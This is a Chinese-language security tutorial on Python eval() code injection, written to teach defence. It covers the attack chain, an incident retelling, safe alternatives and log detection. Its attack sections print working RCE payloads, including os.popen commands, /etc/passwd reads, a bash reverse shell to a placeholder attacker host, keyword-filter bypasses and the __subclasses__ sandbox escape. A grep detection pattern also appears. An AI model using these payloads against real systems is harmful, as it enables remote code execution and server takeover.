先说个我亲眼见过的惨案。一个做数据分析平台的团队,为了让用户能在页面上自定义"计算列",后端直接把用户填的表达式丢给eval()跑。一开始大家还觉得挺方便,直到某天下午,服务器日志里出现了一个诡异请求,参数里带着__import__('os').popen('id').read()。运维反应过来的时候,攻击者在服务器上已经执行了一串命令。项目上线不到两个月,全站数据要回滚到三天前,还得排查有没有被留后门。整个过程里没有复杂的中间人攻击,没有高深的内网渗透,仅仅是因为一个小小的eval()函数没做任何防护。这篇文章就围绕"eval()代码注入"这个主题,把原理、攻击链、防御方案一次讲透,适合所有在项目里写过或准备写eval()的Python开发者。
1. eval()到底是什么:一个字符串如何变成一段代码
1.1 eval()的基本行为与常见使用场景
eval()在Python里的作用很简单:接收一个字符串参数,把它当作Python表达式求值,返回结果。比如eval("1 + 2")会返回3,eval("[x for x in range(3)]")会返回[0, 1, 2]。换句话说,这个函数把一个普通字符串,直接变成了可被解释器执行的代码。
在正经业务里,eval()确实有一些实用场景。最常见的包括:处理配置文件中类似Python字面量的内容、计算用户输入的数学表达式、在规则引擎里解析条件表达式,甚至有些测试框架用它将字符串形式的断言转换为可执行代码。我见过不少初学者为了省事,把eval()当成"万能解析器":前端传进来一个列表形式的字符串,后端直接eval()一把梭;配置管理面板里填了一段Python风格的条件,系统直接执行。
问题恰恰出在这里。eval()的设计目标就是"执行代码",它天生不区分"数据"和"程序"。一旦输入可控,它就会成为攻击者手里最顺手的武器。我常说一句话:当你把eval()暴露给用户输入的那一刻,你实际上把Python解释器也暴露给了用户。
1.2 eval()和exec()的区别:表达式和语句的边界
很多人容易把eval()和exec()搞混。eval()只能执行单个表达式,并且必须返回一个值,比如eval("1+1")可以,但eval("x=1")会直接报SyntaxError。而exec()可以执行任意Python代码,包括赋值语句、循环、函数定义等,只是它不会返回结果。
从代码注入的角度看,eval()虽然比exec()限制更多,但这个限制其实就是一层窗户纸。Python里很多"操作"本身就是一个表达式。__import__('os').system('whoami')是一个表达式,open('/etc/passwd').read()是一个表达式,().__class__.__mro__[1].__subclasses__()也是一个表达式。攻击者根本不需要完整语句,只要有一条表达式链路,就能完成从信息收集到命令执行的所有动作。
我遇到一些开发者说"我只用了eval(),没敢用exec(),应该安全吧",这是在自我安慰。eval()可以调用任何对象上的任何方法,本质上和exec()只隔了"能不能写多行代码"的距离。真要谈安全性,两者谁都不比谁强。
1.3 为什么eval()会成为"后门":任意代码执行的本质
eval()会成为后门,核心原因是它把输入直接推给了Python解释器的求值流程。解释器看到__import__('os').system('ls')这句话,会老老实实地导入os模块、调用system函数、执行ls命令。它不管这段代码是你写死在文件里的,还是用户通过HTTP请求传进来的。
从攻击者的视角看,只要一个Web接口的某个参数最终被eval()处理了,他就等于拿到一个"写Python代码得有回显"的远程执行入口。更麻烦的是,Python本身是一个功能非常强大的动态语言,字符串可以动态导入模块、遍历对象属性、取得内部类引用。这些特性叠加在一起,让"在eval()里干点坏事"变成一件成本极低、成功率极高的操作。
所以,认清eval()的本质比记住一堆攻击payload更重要:它不是数据解析函数,而是代码执行出入口。凡是流入它的数据,都必须被视为"不可信的代码",而不是"普通的值"。
2. 代码注入原理与攻击链:从"计算器"到服务器失守
2.1 注入触发点:用户输入的字符串就是代码
我习惯把代码注入问题拆成三个要素:入口点、执行点、危害面。入口点是用户可控参数的进入位置,执行点是eval()这类函数所在的位置,危害面是攻击者能够影响的资源范围。三者只要连成一线,漏洞就成立了。
举一个最典型的例子。假设后端接口这样写:
from flask import Flask, request app = Flask(__name__) @app.route('/calc') def calc(): expr = request.args.get('expr', '') result = eval(expr) # 入口是query参数,执行点是eval,危害面是整个进程权限 return {'result': result}这个接口原本的定位是"在线计算器",用户传1+1,服务器返回2。从业务角度讲,它只在解析数学表达式这一个功能上画了个圈,但攻击者根本不会按照你画的圈活动。他传入的第一个测试请求很可能是1+1,确认接口能返回结果;紧接着就会传入__import__('os').getcwd(),试探eval()能否访问模块系统;一旦发现可以,后续就是一连串的利用。
这就是注入漏洞的典型特征:数据边界和代码边界彻底混在一起。编程语言根本没有办法自动区分"这是数据"还是"这是代码",因为eval()存在的意义就是让字符串变成代码。
2.2 第一波攻击载荷:从__import__到os.system
很多没接触过安全的朋友第一次看到__import__会觉得莫名其妙,其实理解起来不难。__import__('os')是Python内置的导入模块函数,和import os等价。在eval()表达式里,不能直接写import os,因为import是语句,不是表达式,但__import__('os')是函数调用,是合法表达式。
有了模块导入能力,攻击者就可以做很多事了:
# 执行系统命令 __import__('os').popen('id').read() __import__('subprocess').check_output(['id']).decode() # 读取服务器文件 open('/etc/passwd').read() __import__('os').listdir('/') # 反弹一个交互式shell(攻击者服务器上执行监听) __import__('os').system('bash -i >& /dev/tcp/attacker_ip/8888 0>&1')这些payload的共同点是:它们都是合法Python表达式,eval()都会执行,而且不需要在服务器上留下任何文件,完完全全走的是Python内置能力。有些团队试图在WAF层面过滤os、system、popen这些关键词,效果只能说约等于零。因为攻击者可以用字符串拼接、编码、格式化等方式绕过:
# 字符串拼接绕过关键词过滤 eval("__import__('o'+'s').po''pen('id').read()") # 格式化函数绕过 eval("__import__('o{}s'.format('')).system('id')")我在实际项目中见过最离谱的一次,攻击者把__import__拆成了().__class__.__mro__[1].__subclasses__()遍历出来的类构造器,整条payload没有一个"干净"的关键词,但照样完成了命令执行。
2.3 沙箱逃逸围剿:builtins、__subclasses__与object链
有经验的开发者会想:eval()能不能通过限制命名空间来降低风险?答案是"能降低,但远不能根除"。来看下面这个看似安全的写法:
eval(expr, {'__builtins__': None}, {})这个写法把内建函数字典置为空,意图是让攻击者无法使用__import__、open、getattr这些内置能力。理论上,eval("1+1", {'__builtins__': None}, {})仍然能正常返回2,因为数字和加法运算符不依赖名字查找。但攻击者有一张绕过硬限制的经典底牌——对象子类链。
所有Python对象最终都继承自object,而object又存在于所有类的元类链中。任何一个类的实例,都可以通过__class__属性拿到自己的类,再通过__mro__拿到继承链,再通过__subclasses__()拿到当前解释器进程里加载的所有子类。在这些子类里,总会有一些类关联着文件读取、命令执行等危险能力。
# 即使禁用builtins,下面这行依然能遍历出所有已加载子类 [].__class__.__mro__[1].__subclasses__()攻击者会在返回的子类列表里寻找os._wrap_close、warnings.catch_warnings等类,然后通过它们的成员函数重新拿到sys模块甚至__import__。整个链条看起来复杂,但本质上就是一句话:只要eval()还能访问对象的属性链,它就有机会重建出被禁用的能力。
这也是为什么我一直不建议把"限制globals"当成eval()的安全方案。它确实能挡住新手攻击者,但对稍微研究过Python内省机制的人来说,这只是一层需要几分钟就能突破的纸。后面要讲的白名单AST、禁用对象属性访问,才是真正能把这个口子收小的办法。
3. 实战复盘:一次在线计算器被RCE的完整时间线
3.1 漏洞从哪来:业务需求催生的"快捷实现"
前阵子我帮一个朋友复现他们线上环境遇到的问题,场景和开头说的案例几乎一模一样。他们的Web工具给用户提供了一套"计算规则配置"功能,允许用户输入类似单价 * 数量 * 折扣的公式。本来用专门的表达式解析库就能搞定,但当时的开发者图省事,直接在后端把用户公式交给eval(),理由是"Python表达式天然支持四则运算,eval()最省事"。
需求上线后,QA只测了正常公式,没有做任何恶意输入测试。这个漏洞就这样默默躺在了公网服务里。这里有个非常隐蔽的坑:功能的"正常路径"越顺畅,团队就越容易忽略"异常路径"。设计者在心里把eval()当成了一个"数学计算器",攻击者却看到的是一个"Python解释器网关"。
3.2 攻击者是怎么办到的:探测、注入、回显到反弹
根据他们的访问日志,整个攻击过程其实有条不紊。攻击者先用了一个普通payload做探测:expr=1%2B1,确认接口返回2。这个请求看着人畜无害,但在攻击者的视角里,它验证了三件事:参数可以被后端解析、eval()确实执行了表达式、响应体里直接带回了计算值。
接下来攻击者开始逐步加码。先是expr=__import__('os').getcwd(),返回了网站部署目录;然后是expr=__import__('os').popen('cat /etc/passwd').read(),验证了服务器文件可读;再然后是用expr=__import__('subprocess').check_output(['id']).decode()确认当前用户权限。整个探测不到五分钟,攻击者已经判断出这是一个可以拿系统权限的入口。
真正造成严重破坏的是最后一步。攻击者发现当前进程是root权限,直接通过__import__('os').system('wget ...')下载了一个挖矿程序到服务器上,并写入定时任务保持运行。等到运维发现服务器CPU异常飙高,攻击者已经控制那台机器好几天了。整个链条里没有任何一步需要绕过认证或者利用系统漏洞,全靠一个没设防的eval()和一个站错位的权限。
3.3 应急响应:发现问题后的处置步骤
那次事件之后,我整理了一份针对eval()注入的应急清单,后来反复用到。第一步是止损,立即摘掉受影响服务的外网入口,或者直接在网关层临时拦截包含__import__、eval、exec、system、popen等关键词的请求。虽然这些规则挡不住所有变种,但在紧急时刻可以争取时间。
第二步是排查痕迹。去审计日志里找所有命中eval()接口的请求参数,特别关注包含__import__、__class__、__subclasses__、popen、subprocess这些特征的记录。同时检查服务器上的定时任务、启动脚本、SSH authorized_keys文件、用户目录下是否有异常文件,把攻击者可能留下的后门全部清理干净。
第三步是复盘修复。代码层面把eval()替换成安全的表达式解析方案,比如用ast白名单或专用库;架构层面把业务进程降权到普通用户、启用容器隔离;流程层面把用户输入当成恶意数据,从入口到执行全链路都要做输入校验。最后我还会补一条:所有解析用户输入的地方,无论多简单,都要在开发阶段默认视为高危代码,而不是等到出事了才后悔。
4. 防御方案落地:eval的四种安全替代与加固
4.1 方案一:ast.literal_eval,处理纯字面量解析
如果你的需求只是把字符串形式的字面量转成Python对象,比如把"[1, 2, 3]"变成列表、把"{'name': 'test'}"变成字典,那直接用ast.literal_eval(),这是官方库里最接近"安全eval"的方案。
import ast # 安全解析字面量 data = ast.literal_eval("[1, 2, 3]") config = ast.literal_eval("{'timeout': 30, 'retry': 3}")ast.literal_eval()只接受字符串、数字、元组、列表、字典、集合、布尔值、None以及它们的嵌套组合。一旦传入的字符串里包含函数调用、变量名、运算符,它会直接抛出ValueError。换句话说,ast.literal_eval("__import__('os').system('id')")会报错,ast.literal_eval("1+1")也会报错,因为它只认字面量,不认计算逻辑。
这个方案适合所有"配置解析"类需求。我处理过不少项目,原本用eval()解析配置文件、环境变量、JSON-like字符串,全部改成literal_eval之后,逻辑没有任何变化,安全性直接提升了一个档次。需要注意的是,literal_eval仍然有可能被构造出的超大嵌套结构耗尽CPU或内存,比如传一个深达几千层的嵌套列表,所以它也不是完全无脑用,最好还是加上一层输入长度限制。
4.2 方案二:自定义AST白名单,把eval关进笼子
如果业务确实需要计算表达式,比如单价 * 数量 * 折扣,那literal_eval就不够用了。这时候我推荐的做法是:先把表达式解析成抽象语法树(AST),在AST层面上校验允许出现的节点类型,只有全部通过白名单校验,才允许后续的编译和求值。这个方案本质上是在eval()前面加一道"语法关卡",直接把函数调用、属性访问、下标访问这些危险动作拒之门外。
import ast ALLOWED_NODES = ( ast.Expression, ast.Constant, ast.BinOp, ast.UnaryOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod, ast.USub, ast.UAdd, ) def safe_eval(expr: str): node = ast.parse(expr, mode='eval') for item in ast.walk(node): if not isinstance(item, ALLOWED_NODES): raise ValueError("表达式包含不允许的语法") code = compile(node, '<safe_expr>', 'eval') return eval(code, {'__builtins__': None}, {})这个白名单里只放入了数字常量、四则运算、正负号这些节点。用户传1+2*3没问题,传__import__('os')不行,因为节点类型是ast.Call,不在白名单内;传[].__class__也不行,因为__class__属性访问对应ast.Attribute节点,照样不在白名单内。这样一来,就算攻击者再熟悉Python对象链,他也没办法在表达式中写出对应的语法结构。
这套方案在实际项目中非常实用。我服务过的一个报表系统,用户需要配置自定义指标公式,功能要求支持加减乘除、括号、数字常量、少量数学函数。我在白名单里额外加入了ast.Call,但同时在代码里做了函数名白名单,只允许abs、round、min、max这几个内置函数,其余一律拒绝。这样既满足了业务灵活性,又不会把整个解释器裸奔给用户。
4.3 方案三:限制命名空间与权限最小化
当你确实必须在非常受控的环境里使用eval()时,限制命名空间是最后的底线,而不是唯一的防线。最典型的写法是把globals里的内置函数清空:
expr = "1 + 2" result = eval(expr, {'__builtins__': None}, {})这样做的意义在于:即使白名单校验有遗漏,攻击者能拿到的对象能力也会被大幅削弱。比如他不能直接用open读文件、不能直接用__import__导入模块,很多初级攻击脚本会直接失效。但这绝不能作为"安全"的依据,因为对象属性链和方法调用仍然可能构成绕过风险,尤其在AST白名单没有被严格实施的情况下。
权限最小化还要延伸到运行环境层面。我见过一个生产环境,应用进程直接以root身份跑,eval注入后攻击者一步到位拿到系统管理员权限。后来我把服务改成普通用户运行,并放进Docker容器,再搭配Seccomp、只读文件系统、禁用容器内shell等策略。每次谈到代码注入,我都会强调一点:单点防护永远不够,纵深防御才是活下来的关键。eval本身再危险,如果运行环境已经被层层收紧,攻击者能造成的危害就会大打折扣。
4.4 方案四:用成熟库替代,别再自己写"安全eval"
如果你觉得维护AST白名单太费劲,又不敢用裸eval(),那直接引入社区成熟的表达式求值库。我自己用得比较多的是simpleeval和asteval,两者的设计思路都是"提供白名单式的安全表达式解释器"。
from simpleeval import simple_eval # 默认只允许字面量和白名单函数 simple_eval("1 + 2 * 3") # 如果想开放一些函数,可以指定 simple_eval("abs(-5)", functions={"abs": abs})simpleeval默认不让导入模块、不让访问属性、不加载内置函数,等于帮我把前面说的AST白名单策略封装好了。asteval则更进一步,允许自定义符号表、函数白名单、甚至禁止某些危险操作,适合更复杂的规则引擎场景。
这些库也不是完全没有绕过可能,尤其当你开放了functions参数却不够严谨时,还是可能通过函数对象的属性链做文章。我的建议是:选择成熟库只是起点,依旧要按高危输入的心理预期做代码审查、日志审计和运行环境隔离。但相比裸写eval(),它们确实把默认安全水平拉高了一大截。
4.5 方案对比表与实践建议
我把几种方案的适用场景和风险等级整理成了一个表,方便你自己对照选择。
| 方案 | 支持功能 | 安全级别 | 适用场景 | 备注 |
|---|---|---|---|---|
| 裸eval() | 任意Python表达式 | 极低 | 不应存在于任何生产代码 | 即使只内网使用也不建议 |
| 限制globals | 受限Python表达式 | 中低 | 临时救急,需配合其他手段 | 可被对象链绕过 |
| ast.literal_eval | Python字面量 | 高 | 配置文件、字符串转基础对象 | 不支持运算和函数 |
| 自定义AST白名单 | 可控表达式子集 | 高 | 计算公式、规则引擎 | 需要自己维护节点白名单 |
| simpleeval/asteval | 可控表达式+白名单函数 | 高 | 低代码平台、用户自定义公式 | 优先推荐,仍需环境隔离 |
我的实践建议很简单:能不用eval()就不用,能用literal_eval就别碰exec;真需要表达式求值,首选simpleeval,业务再复杂就上AST白名单。代码评审的时候,我看到eval()出现会非常敏感,哪怕旁边注释写着"仅内网使用、输入可信",我也一定会追问一句:"这个字符串最终到哪一层,中间有没有可能被外部请求污染?"
5. 常见问题排查与经验避坑
5.1 高频问题一:eval不返回结果、报SyntaxError等
很多第一次用eval()开发的人会踩到几个基础坑。第一个是eval()只能处理表达式,传入x = 1这种赋值语句会直接报SyntaxError: invalid syntax。第二个是eval()的返回值是表达式的结果,如果你执行的是os.system('id'),返回的是命令退出码0,而不是命令输出,很多人误以为"命令没执行",其实执行了,只是回显不一样。第三个是eval()的globals和locals字典混用,导致变量作用域和预期不一致,报NameError。
这些基础问题在安全场景下也有诊断价值。比如线上日志里如果出现大量SyntaxError,可能只是某个正常用户在公式里写了分号或者换行,也可能是攻击者正在逐个试探eval()的行为边界。我排查时看到这种报错,第一反应是去看触发请求的完整参数,而不是直接忽略。
5.2 高频问题二:纯过滤坏关键词为什么不可靠
我收到最频繁的"安全方案"是这种:在eval()前先用正则过滤掉__import__、os、system、exec这些词,认为这样就安全了。这个方案的问题非常明显,Python表达式有太多种方式构造出等价字符串。光是我见过的就有字符串拼接、f-string格式化、str.replace、bytes解码、进制转换,甚至用chr()函数逐个拼出关键字。
# 用chr逐个拼出__import__,避开关键字过滤 expr = "".join(chr(i) for i in [95,95,105,109,112,111,114,116,95,95]) + "('os').system('id')" result = eval(expr)一旦攻击者真的在试探你的过滤规则,这种"关键词黑名单"几乎一定会被击穿。我的建议是,把精力放在"允许什么"而不是"拒绝什么"。白名单和AST节点校验才是可控的,黑名单永远是最薄弱的防守方式。
5.3 高频问题三:pandas.eval/动态代码里的隐藏风险
eval()不只是Python内置函数这一个入口。很多第三方库为了性能或便利性,也提供了类似eval()的接口。最典型的是pandas里的DataFrame.eval()和pandas.eval(),它们主要用来计算DataFrame列之间的表达式,比如df.eval("a * b + c")。如果这些表达式来源于用户输入,同样可能存在代码注入风险。
还有一个容易忽略的点是input()在Python 2里本身就是eval(raw_input()),等于每一次接收用户输入都在裸奔;虽然在Python 3里input已经改成了普通字符串输入,但不少老项目迁移不彻底,还是会有eval套着input的商品代码。另外,ORM的一些签名、配置文件的动态导入、序列化函数里的"反序列化后执行"逻辑,都是容易被忽视的隐藏eval。
排查项目里是否存在类似风险,最直接的办法是在代码库里搜索eval(、exec(、compile(、pandas.eval、asteval、simpleeval、yaml.load这类调用,逐个人工确认输入来源。我每次做代码安全自检都会把这些调用点列成一个清单,挨个看数据流入口,这条习惯救过我很多次。
5.4 排查技巧:如何在日志里快速锁定注入攻击
如果怀疑已经被攻击,通过日志定位是最快的方式。重点关注这些特征:请求参数中含有__import__、__class__、__subclasses__、popen、system、subprocess、chr(、base64等关键字;同一个IP在短时间内对同一接口发起大量携带不同表达式的请求;响应结果中出现了系统命令输出、文件内容、异常堆栈等不该出现的回显。
日志检索可以用类似这样的规则:
# 在访问日志里检索疑似注入载荷 grep -E "__import__|__class__|__subclasses__|popen|system|subprocess" access.log找到可疑请求后,要尽快把完整的请求参数、来源IP、User-Agent、时间戳一并保存,作为后续分析和溯源依据。然后回到应急处置清单,该下线的下线,该清理的清理。最后把这次攻击特征沉淀到WAF规则或网关层做拦截,避免同类攻击再次出现。
我个人在实际排查中还有一个体会:eval()注入攻击往往不是一次性完成的,攻击者会反复试探、逐步升级。日志里如果看到某条payload从1+1变成__import__('os').getcwd()再变成popen('id').read(),就基本可以判定有人在系统性地做漏洞利用。这时候不要只盯着eval()那一行代码,而是要把整个服务入口、权限、网络暴露面都重新过一遍,因为你不知道他在成功之前还试过多少条别的路径。安全无小事,一个eval()引发的血案,往往就是从"省事"两个字开始的。